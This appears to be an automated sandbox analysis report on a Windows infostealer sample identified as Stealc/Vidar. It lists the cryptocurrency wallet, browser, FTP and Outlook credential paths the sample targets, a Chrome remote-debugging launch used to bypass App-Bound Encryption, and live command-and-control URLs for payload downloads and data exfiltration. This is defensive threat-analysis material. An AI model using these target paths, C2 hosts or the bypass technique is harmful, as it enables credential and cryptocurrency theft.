Source: glpEv3POe7.exe, 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\jaxx\Local Storage\\file__0.localstorage
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\passphrase.json
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet7
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.00000000012AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Ethereum\\keystore
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.V#F
Source: glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum-LTC\wallets\\.*p

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\glpEv3POe7.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1974489166.000000000064C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: glpEv3POe7.exe PID: 7548, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\glpEv3POe7.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: glpEv3POe7.exe, type: SAMPLE
Source: Yara match	File source: 0.0.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.glpEv3POe7.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1667691355.00000000005AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1974461706.00000000005AB000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1974812801.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: glpEv3POe7.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: glpEv3POe7.exe PID: 7548, type: MEMORYSTR

Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C640C40 sqlite3_bind_zeroblob,	0_2_6C640C40
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C640D60 sqlite3_bind_parameter_name,	0_2_6C640D60
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C568EA0 sqlite3_clear_bindings,	0_2_6C568EA0
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C640B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C640B40
Source: C:\Users\user\Desktop\glpEv3POe7.exe	Code function: 0_2_6C566410 bind,WSAGetLastError,	0_2_6C566410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 Create Account	11 Process Injection	1 Masquerading	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	11 Process Injection	Security Account Manager	12 Process Discovery	SMB/Windows Admin Shares	4 Data from Local System	12 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	44 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
glpEv3POe7.exe	63%	ReversingLabs	Win32.Trojan.StealC
glpEv3POe7.exe	100%	Avira	TR/Crypt.ZPACK.Gen
glpEv3POe7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://135.181.65.216/4a21a126be249f0d/vcruntime140.dll7q	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/softokn3.dll	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/softokn3.dllp0	100%	Avira URL Cloud	malware
http://135.181.65.216ee45b7c5e4cb75cb.phpfox	0%	Avira URL Cloud	safe
http://135.181.65.216/ee45b7c5e4cb75cb.php2	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpdlls	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpnomi	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpdll	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/softokn3.dllF1	100%	Avira URL Cloud	malware
http://135.181.65.216l	0%	Avira URL Cloud	safe
http://135.181.65.216/4a21a126be249f0d/nss3.dll	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/mozglue.dllP1%	100%	Avira URL Cloud	malware
http://135.181.65.216	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpx	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpl	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/nss3.dllC	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/msvcp140.dll	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpCoinomi	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/nss3.dllY	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpr	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/freebl3.dll	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/nss3.dllU	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.php	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpf	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/freebl3.dll61	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/sqlite3.dll	100%	Avira URL Cloud	malware
http://135.181.65.216/	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/vcruntime140.dll	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpZ	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/msvcp140.dllf03	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/mozglue.dll	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/mozglue.dlll19	100%	Avira URL Cloud	malware
http://135.181.65.216/ee45b7c5e4cb75cb.phpB	100%	Avira URL Cloud	malware
http://135.181.65.216/k	100%	Avira URL Cloud	malware
http://135.181.65.216/4a21a126be249f0d/vcruntime140.dllj	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.181.68	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://135.181.65.216/4a21a126be249f0d/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://135.181.65.216/4a21a126be249f0d/nss3.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
http://135.181.65.216/4a21a126be249f0d/msvcp140.dll	true	Avira URL Cloud: malware	unknown
http://135.181.65.216/4a21a126be249f0d/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://135.181.65.216/ee45b7c5e4cb75cb.php	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/newtab_promos	false		high
http://135.181.65.216/4a21a126be249f0d/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://135.181.65.216/	true	Avira URL Cloud: malware	unknown
https://www.google.com/async/ddljson?async=ntp:2	false		high
http://135.181.65.216/4a21a126be249f0d/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false		high
http://135.181.65.216/4a21a126be249f0d/mozglue.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://135.181.65.216/ee45b7c5e4cb75cb.phpdll	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	DGIJECGD.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	DGIJECGDGCBKECAKFBGCAKECGI.0.dr	false		high
https://duckduckgo.com/ac/?q=	DGIJECGD.0.dr	false		high
http://135.181.65.216/4a21a126be249f0d/vcruntime140.dll7q	glpEv3POe7.exe, 00000000.00000002.1974812801.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/ee45b7c5e4cb75cb.php2	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/ee45b7c5e4cb75cb.phpnomi	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://135.181.65.216/4a21a126be249f0d/softokn3.dllp0	glpEv3POe7.exe, 00000000.00000002.1974812801.000000000122C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
